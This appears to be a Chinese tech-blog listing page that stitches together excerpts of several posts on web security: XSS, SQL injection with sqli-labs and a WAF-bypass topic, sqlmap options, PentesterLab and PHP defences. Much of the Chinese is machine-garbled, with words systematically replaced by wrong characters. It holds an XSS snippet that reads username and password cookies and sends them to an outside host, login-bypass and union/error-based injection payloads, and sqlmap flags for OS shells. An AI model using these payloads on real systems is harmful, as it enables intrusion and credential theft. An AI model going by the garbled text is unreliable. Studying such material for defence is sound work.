关于sql注入:一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持

XSS 攻打全称跨站脚本攻打 Cross Site Scripting为了与重叠样式表 CSS 进行辨别,所以换了另一个缩写名称 XSSXSS攻击者通过篡改网页,注入歹意的 HTML 脚本,个别是 javascript,在用户浏览网页时,管制用户浏览器进行歹意操作的一种攻击方式XSS 攻打常常应用在论坛,博客等利用中。攻击者能够偷取用户Cookie、明码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息 就像上图,如果用户在评论框中输出的并不是失常的文本,而是一段 javascript 脚本,而后盾又没对该用户的数据进行解决,间接存入数据库,那么当其余用户过去拜访该页面,浏览器必然会执行这段脚本当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些 注入脚本,获取你的 个人信息 ,甚至是你的账号密码等信息 由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的 cookie 信息,并发送到指定的接口进行保留解决,这样你的信息就曾经泄露了// attack.js 中的逻辑var uname = $.cookie('username'); // 获取账号var pwd = $.cookie('password'); // 获取明码// 发送申请$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');在下面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端 php 文件中进行解决保留,这样你的个人信息就曾经泄露了,所以杜绝 xss攻打 在网络安全中十分的重要所以后端永远不要置信用户提交的数据,在接管用户提交的信息时候,要进行 消毒解决也就是过滤一些非凡的字符,比方 javascript 脚本中的 <> 进行转移 <> 再进行存储,这样就能无效的进行 xss 攻打的预防另外如果 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无奈读取到cookie 信息,这样也能无效的避免 XSS 攻打窃取 cookie 内容 SQL 注入SQL注入 攻打指的是攻击者在 HTTP 申请中注入歹意 SQL 命令,服务器用申请参数结构数据库 SQL 命令时,歹意 SQL 被一起结构,并在数据库中执行,以便失去数据库中的感兴趣的数据或对数据库进行读取、批改、删除、插入等敏感的操作,从而导致数据被随便篡改然而 SQL注入 攻打,须要攻击者对数据库表有所理解才行,比方你的我的项目 开源 了,不小心公开了数据库的账号和明码;另外你的网站上线没有 敞开调试模式,有心者能够网站的依据谬误回显能够猜想表构造;另外还有就是 盲注,也即是很多有心者会盲猜数据表构造,然而这种难度最大SQL注入 能够通过预编译伎俩进行预防,绑定参数是最好的防 SQL 注入办法。当初风行的框架根本都实现了 SQL预编译和 参数绑定,歹意攻打的 SQL 会被当做 SQL 的参数,而不是 SQL 命令被执行# 失常获取用户信息的sqlselect * from users where id=1# sql注入了 1 or 1=1,就能够把用户表中的所有数据全副查出,导致数据泄露select * from users where id=1 or 1=1 ...

August 8, 2022 · 1 min · jiezi

关于sql注入:SQL注入学习与绕过安全狗

免责申明浏览前请先熟读《网络安全法》相干内容,以下知识点仅供学习应用,因为流传,利用此文所提供的信息而造成的任何间接或间接的结果和损失,均由使用者自己负责,文章作者不承当任何责任。 理解SQL注入SQL注入是因为后盾SQL语句拼接了用户的输出,而且Web应用程序对用户输出数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者能够通过结构不同的SQL语句来实现对数据库的任意操作。比方查问、删除,减少,批改数据等等,如果数据库的用户权限足够大,还能够对操作系统执行操作。SQL注入能够分为平台层注入和代码层注入。前者由不平安的数据库配置或数据库平台的破绽所致;后者次要是因为程序员对输出未进行粗疏地过滤。SQL注入是针对数据库、后盾、零碎层面的攻打! 相熟数据库目前市面上应用MySql的数量还是比拟多的,所以佩剑以MySql举例,所以先理解点MySQL无关的常识。在MySQL5.0之后增加了 information_schema 的数据库,该数据库中的表都是只读的,不能过程正删改查,实际上就是一个视图,不是根本的表构造。无奈被删除。 DROP DATABASE information_schema> 1044 - Access denied for user 'root'@'localhost' to database 'information_schema'特地要留神的是数据库中的正文符,在后续的SQL注入过程中,绕过平安狗有特地重要的作用,须要灵便组合搭配 mysql中正文符:# 、/**/ 、 -- information_schema数据库中三个很重要的表: information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名information_schema.tables:该数据表存储了mysql数据库中的所有数据表的表名information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名 Mysql罕用函数version():查询数据库的版本user():查询数据库的使用者database():数据库system_user():零碎用户名session_user():连贯数据库的用户名current_user:以后用户名load_file():读取本地文件@@datadir:读取数据库门路@@basedir:mysql装置门路@@version_complie_os:查看操作系统ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97length(str) : 返回给定字符串的长度,如 length("string")=6substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"substr()、stbstring()、mid() 三个函数的用法、性能均统一concat(username):将查问到的username连在一起,默认用逗号分隔concat(str1,'',str2):将字符串str1和str2的数据查问到一起,两头用连贯group_concat(username) :将username数据查问在一起,用逗号连贯limit 0,1:查问第1个数,limit 1,1: 查问第2个数以上是在SQL注入过程中常常用到的,如果还须要理解其余的函数能够自行百度 SQL注入的分类注入点类型分类数字类型字符串类型搜寻型 提交形式分类GETPOSTCOOKIEHTTP头 获取信息的形式分类布尔盲注工夫盲注报错注入联结查问堆查问注入判断是否存在SQL注入一个网站有特地多页面,怎么判断是否存在SQL注入。能够通过现成的工具例如:AWVS、AppScan、Nessus、SqlMap等。也能够在GitHub上子域名扫描器,把整个站所有子域名都扫描进去,而后再逐渐扫描破绽【扫描的网站肯定要在得到许可后,能力扫描】。然而有的时候工具不是万能的,工具只是大面积的扫描,有很多时候还是须要手动判断是否有SQL注入破绽。上面以MySql 5.5版本为例,相熟SQL注入流程,积攒教训。 盲注:服务器没有谬误回显时实现的注入攻打。服务器没有谬误回显,无奈判断是否胜利注入所以须要找到一个方面让服务器报错先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入破绽了。在URL前面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,必定存在SQL注入破绽了。有时候通过简略的条件语句比方 and 1=2 是无奈看出异样,就须要工夫盲注 环境筹备上面咱们搭建sqli-labs靶机验证个个注入办法我把靶机装置在Centos7虚拟机上,装置的时候须要装置小皮【phpstudy】 官网教程曾经十分具体就不赘述了。强调的一点就是sqli-labs用的php框架比拟老,须要装置5.x版本的php,如果是默认的7.x版本启动会报错,装置5.5+mysql默认用户名明码即可批改sqli-labs配置文件输出地址就能拜访点击Setup/reset Database for labs 链接主动靶场数据脚本插入到数据库中初学能够革新一下靶场的代码,让sql显示到页面上,能更好的了解sql输出的全过程。当然间接装置到本地会更好操作一下,看集体习惯这样就能够应用了 Boolean盲注【耗时】咱们先以Less-5举例,首先代码革新一下,将SQL打在页面上,能够更不便咱们了解我用的是火狐浏览器,能够在扩大里装置Max HackBar【收费】,在应用的过程中会很不便。当咱们输出http://127.0.0.1/sqli/Less-5/...' 咱们失去上面的页面由此能够看出代码把 id 当成了字符来解决,而且前面还有一个限度显示的行数 limit 0,1 。当咱们输出的语句正确时,就显示You are in.... 当咱们输出的语句谬误时就报出 SQL 语句谬误。依据以上的信息咱们能够猜出sql的大略写法 ...

June 16, 2022 · 3 min · jiezi

关于sql注入:sqlmap二次开发指南

sqlmap基于python编写,开源,源码 https://github.com/sqlmapproj... 一、sqlmap api1、利用场景因为SQLMAP每检测一个站点都须要开启一个新的命令行窗口或者完结掉上一个检测工作。尽管 -m 参数能够批量扫描URL,然而模式也是一个完结扫描后才开始另一个扫描工作。通过api接口,下发扫描工作就简略了,无需开启一个新的命令行窗口。 2、应用Options: -h, --help show this help message and exit -s, --server Run as a REST-JSON API server -c, --client Run as a REST-JSON API client -H HOST, --host=HOST Host of the REST-JSON API server (default "127.0.0.1") -p PORT, --port=PORT Port of the the REST-JSON API server (default 8775) --adapter=ADAPTER Server (bottle) adapter to use (default "wsgiref") --username=USERNAME Basic authentication username (optional) --password=PASSWORD Basic authentication password (optional)1、开启sqlmapapi serverpython3 sqlmapapi.py -s2、开启sqlmapapi client ...

February 28, 2022 · 11 min · jiezi

关于sql注入:PentesterLab靶场sql注入

环境装置轻易在网上找了个Pentester的靶场,后果是2013年的,那就从2013年的这个靶场开始学习 下载镜像的地址: https://pentesterlab.com/exer... 失常找个虚拟机,进行iso的装置 装置实现后,查下虚拟机的IP,间接拜访即可http://192.168.29.129/ sql注入Example 1万能明码: 本人尝试了几个明码,筛选出了这几个通关的,亲试可用: admin'or 1=1# "or"="a'='a a'or' 1=1-- 'or''=' 用户名和明码都填一样的,点击提交通关 Example 2通过order by语句确定字段的长度为3 --此处须要浏览此文的人自行学习,省得就无难度了 加粗局部为所须要填的注入语句,拜访后通关 http://192.168.29.129/sqlinje...' union select 1,2,3 --+&password=2&submit=%E6%8F%90%E4%BA%A4 Example 3去猜他的sql语句大略 select * from users where username='a' and password='b' 在尝试过程中发现应用单引号没有作用 尝试去结构及躲避: select * from users where username='\' and password=' or 1=1#' 用\做用户名,or 1=1#做明码间接登录 说白了就是执行了这段: SELECT * FROM users where username="x" or 1=1#" Example 4在通过尝试发现界面会返回谬误后,能够应用报错注入 案例4能够尝试报错注入:http://192.168.29.129/sqlinje... and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 以此类推,找到其余须要的信息 Example 5起初用order by 来爆字段长度,后果发现始终报错 如果order by无奈应用则间接上union 用字段来尝试破试出长度,发现长度就是之前试出来的3 union select 1,2,3 ...

January 28, 2022 · 1 min · jiezi

关于sql注入:sqlmap总结

0x01概述Sqlmap 是一个自动化的 SQL 注入工具,其次要性能是扫描、发现并利用给定的 Url 的 Sql 注入破绽,目前反对 MySQL、 Oracle、 PostgreSQL、 Microsoft SQL Server、 Microsoft Access 等支流数据库。 Sqlmap 应用 5 种 SQL 注入技术(不加参数默认测试所有注入技术): 基于布尔的盲注,即能够依据返回页面判断条件虚实的注入。基于工夫的盲注,即不能依据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回工夫是否减少)来判断。基于报错注入,即页面会返回错误信息,或者把注入的语句的后果间接返回在页面中。联结查问注入,能够应用union的状况下的注入。堆查问注入,能够同时执行多条语句的执行时的注入。当应用 Sqlmap 检测一个指定 Url 时,它会执行以下操作:判断是否有可注入的参数判断能够用哪种 Sql 注入技术来注入辨认出指标应用哪种数据库依照用户抉择,读取指标数据 0x02参数--risk 危险等级--risk 1 测试大部分的测试语句(默认为1)--risk 2 减少基于工夫的测试语句--risk 3 减少or语句的sql注入测试 --level 探测等级,数值越高,等级越高,默认为1在不确定哪个payload或参数为注入点时,为了保障全面性,倡议应用高的level值--level 2 会探测cookie--level 3 会探测http user-agent、referer头 -v x 参数指定回显信息的复杂度,x属于[0~6]共有 7 个等级,默认为 1:-0 只显示python谬误以及重大的信息。-1 同时显示根本信息和正告信息。(默认)-2 同时显示debug信息。-3 同时显示注入的payload。-4 同时显示HTTP申请。-5 同时显示HTTP响应头。-6 同时显示HTTP响应页面。如果你想看到sqlmap发送的测试payload最好的等级就是3,例如:python sqlmap.py -v 3 -u "www.adc.com/def.jsp?id=xxx" -u 指定Sql注入测试的url-r 读申请包 抓包保留在一个文件-b 获取DBMSbanner-m 从文本中加载指标申请 文本中有多个url,sqkmap会一个一个的检测(用url采集器进行采集)-g 从google的搜寻后果中测试--data 把数据以post形式提交 格局--data=“key=value”--cookie 设置cookie的值 --level 须要设置为2-–current-db 获取以后数据库-–current-user 获取以后用户--string 匹配页面中的字符串–-users 枚举DBMS用户–-password 枚举DBMS用户明码hash–-dbs 枚举DBMS中的数据库-D 要枚举的DBMS数据库–-tables 枚举DBMS数据库中的数据表(和-D组合应用)-T 要枚举的DBMS数据库表–-columns 枚举DBMS数据库表中的所有列(和-D-T组合应用)-C 要枚举的DBMS数据表中的列(和-D-T-C组合应用)–-dump 获取DBMS数据表项–-privileges 查看权限–-privileges-Uroot 查看指定用户权限–-os-cmd=whoami 执行系统命令–-os-shell 零碎交互shell–-os-pwn 反弹shell–-reg-read 读取win零碎注册表–-dbs-o“sqlmap.log” #保留进度--is-dba 判断以后用户是不是数据库管理员--dbms=mysql oracle 指定数据库、过waf,节省时间--flush-session 革除缓存--delay 过平安狗 --delay=0.5 半秒钟拜访一次--timeout 设定多长时间断定超时--safe-url,--safe-freq 有的web会在你屡次拜访谬误的申请时屏蔽掉你当前所有的申请,safe-url提供一个平安不谬误的连贯,每隔一段时间拜访--union-cols 默认状况下sqlmap测试union查问注入会测试1-10个组的呀不是公寓,当--level为5的时候他会减少测试到50个字段数 --union-cols 12-16-t a.tzt sqlmap会把http申请与相应日志保留在这里--batch 不须要用户输出,将应用sqlmap提醒的默认值始终运行上来--charset 强制指定字符编码 --charset=GBK--mobile 实用于只能用手机关上的页面--time-sec 相当于sleep(5)执行sql语句 ...

September 26, 2020 · 2 min · jiezi

最近出现的几大疑似漏洞大家需要了解下

随着大数据时代的发展,互联网的技术更是突飞猛进。同时也给了网络犯罪分子带来了有利条件,他们会通过各种方式去给企业造成不同程度的威胁。而我们最常见的就是他们通过程序系统漏洞或者源码漏洞等方式。今天小编关注到CNVD即(国家信息安全漏洞共享平台)统计发布了近期出现的几大疑似漏洞,做为网络运维的我们需要了解下。 1、Sequelize SQL注入漏洞 ,是一款用于Node.js的数据库ORM(对象关系映射)工具。漏洞描述:Sequelize 5.8.11之前版本中存在SQL注入漏洞。该漏洞源于基于数据库的应用缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令。 2、Mozilla Thunderbird类型混淆漏洞,是美国Mozilla基金会的一套从Mozilla Application Suite独立出来的电子邮件客户端软件。该软件支持IMAP、POP邮件协议以及HTML邮件格式。漏洞描述:Mozilla Thunderbird 60.7.1 之前版本中的icalproperty.c文件存在类型混淆漏洞。攻击者可通过诱使用户打开特制的邮件利用该漏洞造成应用程序崩溃。3、歪酷CMS存在文件上传漏洞,是一套内容管理系统。漏洞描述:歪酷CMS存在文件上传漏洞,攻击者利用该漏洞获取网站服务器控制权。4、TPshop开源商城系统Ap*.php文件存在SQL注入漏洞,TPshop一套多商家模式的商城系统。漏洞描述:TPshop开源商城系统Ap*.php文件存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。5、致远A8+协同管理软件存在远程Getshell漏洞,是一款协同管理软件及云服务的供应商,专注专注在协同管理软件领域。漏洞扫描:致远A8+协同管理软件存在远程Getshell漏洞。攻击者通过上传精心构造的后门文件即可Getshell,获得目标服务器的权限。6、IBM Security Access Manager Appliance开放重定向漏洞,是美国IBM公司的一款基于网络设备的安全解决方案。该产品主要用于访问控制和基于Web的威胁防护,提供系统性能监控、日志分析和诊断等功能。漏洞描述:IBM ISAM Appliance中存在安全漏洞。攻击者可通过诱使用户访问特制的网站利用该漏洞伪造URL,将用户重定向到恶意的网站,获取敏感信息或实施其他攻击。7、Mozilla Firefox和Firefox ESR安全绕过漏洞(CNVD-2019-19289),两款都是美国Mozilla基金会的产品。Mozilla Firefox是一款开源Web浏览器。Mozilla Firefox ESR是Firefox(Web浏览器)的一个延长支持版本。漏洞扫描:Mozilla Firefox 67.0.4之前版本和Firefox ESR 60.7.2之前版本中存在安全漏洞。攻击者可通过诱使用户访问特制的网站利用该漏洞绕过安全限制。8、RDK WebUI组件访问控制错误漏洞和RDK CcspWifiAgent模块命令执行漏洞,是RDK Management社区的两套模块化、可移植、可定制的开源物联网软件解决方案。CcspWifiAgent是其中的一个支持WiFi功能的模块。漏洞扫描:RDK RDKB-20181217-1版本中的WebUI组件的actionHandlerUtility.php文件存在访问控制错误漏洞。攻击者可通过向PHP后端发送HTTP POST请求利用该漏洞控制DDNS、QoS、RIP和其他的特权配置。漏洞描述:RDK RDKB-20181217-1版本中的CcspWifiAgent模块的cosa_wifi_apis.c文件存在安全漏洞。攻击者可通过将Wi-Fi网络密码更改成包含有特制转义字符的密码利用该漏洞执行任意的shell命令。 针对以上疑似漏洞的程序,墨者安全建议去相对应的官方网站下载最新的补丁程序进行更新;对待开源商城模式的漏洞、电子邮件的混淆漏洞等重点排查,账号密码更改;做一些临时缓解的措施,配置URL访问控制策略;采用专业的查杀工具进行查杀处理,重点扫描;找专业的安全技术人员帮忙协助做深入的排查等。(注:漏洞信息转载于CNVD即国家信息安全漏洞共享平台)

June 27, 2019 · 1 min · jiezi

sqlilabs过关write-up记录Page1

sqli-labs靶机搭建docker部署: docker pull acgpiano/sqli-labsdocker run -d -p 80:80 acgpiano/sqli-labs访问127.0.0.1后,点击Setup/reset Database for labs Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) 基于报错--猜解SQL语句访问http://127.0.0.1/Less-1/?id=1'报错: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1由'1'' LIMIT 0,1猜测SQL语句: SELECT ... FROM ... WHERE id='1' LIMIT 0,1//源代码中SELECT * FROM users WHERE id='$id' LIMIT 0,1手工注入0x01 order by猜解表的列数SELECT * FROM users WHERE id='1' order by 1 -- ' LIMIT 0,1这个SQL语句的意思是查询users表中id为1的数据并按第一字段排行。当order by后面的数字大于表的列数时就会报错 ...

June 27, 2019 · 1 min · jiezi

系统的讲解-PHP-WEB-安全防御

常见漏洞 看到上图的漏洞是不是特别熟悉,如果不进行及时防御,就会产生蝴蝶效应。 往下看,可能会找到你要的答案。 SQL注入攻击定义SQL注入攻击是通过WEB表单提交,在URL参数提交或Cookie参数提交,将怀有恶意的“字符串”,提交给后台数据库,欺骗服务器执行恶意的SQL语句。 案例//以用户登录为例,当验证用户名和密码是否正确时$sql = "SELECT * FROM user WHERE username = '".$_GET['username']."' AND password = '".$_GET['password']."'";用户恶意输入: $_GET['username'] = "' or 1=1 -- '";$_GET['password'] = "123456";注入后的Sql语句: $sql = "SELECT * FROM user WHERE username = '' or 1=1 -- ''AND password = '123456'";执行注入后的Sql语句,可以返回 user 表的全部数据。 平时我们可以进行自测,比如使用单引号、双引号,如果是数字进行+1或-1。 SQL注入的危害很大,利用SQL注入可以进行,拖库、删库、删表、UDF提权、读取文件、... 推荐一个开源的自动化的SQL注入工具。 SQLmap:http://sqlmap.org/ 支持各种数据库管理系统(MySql、Oracle、SQL Server、SQLite ... )。支持自动识别密码哈希格式并通过字典破解密码哈希。支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。支持完全地下载某个数据库中的某个表、某个列。支持在数据库管理系统中搜索指定的数据库名、表名或列名。支持下载或上传文件。支持执行任意命令并回现标准输出。支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。尝试着利用工具,注入自己的项目,发现问题,然后解决问题。 SQL注入的危害,远比我们想象的要大! 防御推荐解决方案是使用 PDO 或 MySQLi 的数据库扩展。 PHP官方文档中介绍,MySQL扩展自PHP 5.5.0起已废弃,并在自PHP7.0.0开始被移除。 如果已经在用MySQL扩展了,可以对传入的每个参数做验证,并使用框架的ORM进行查询。 另外:addslashes 和 mysql_real_escape_string 这种转义是不安全的! ...

May 10, 2019 · 1 min · jiezi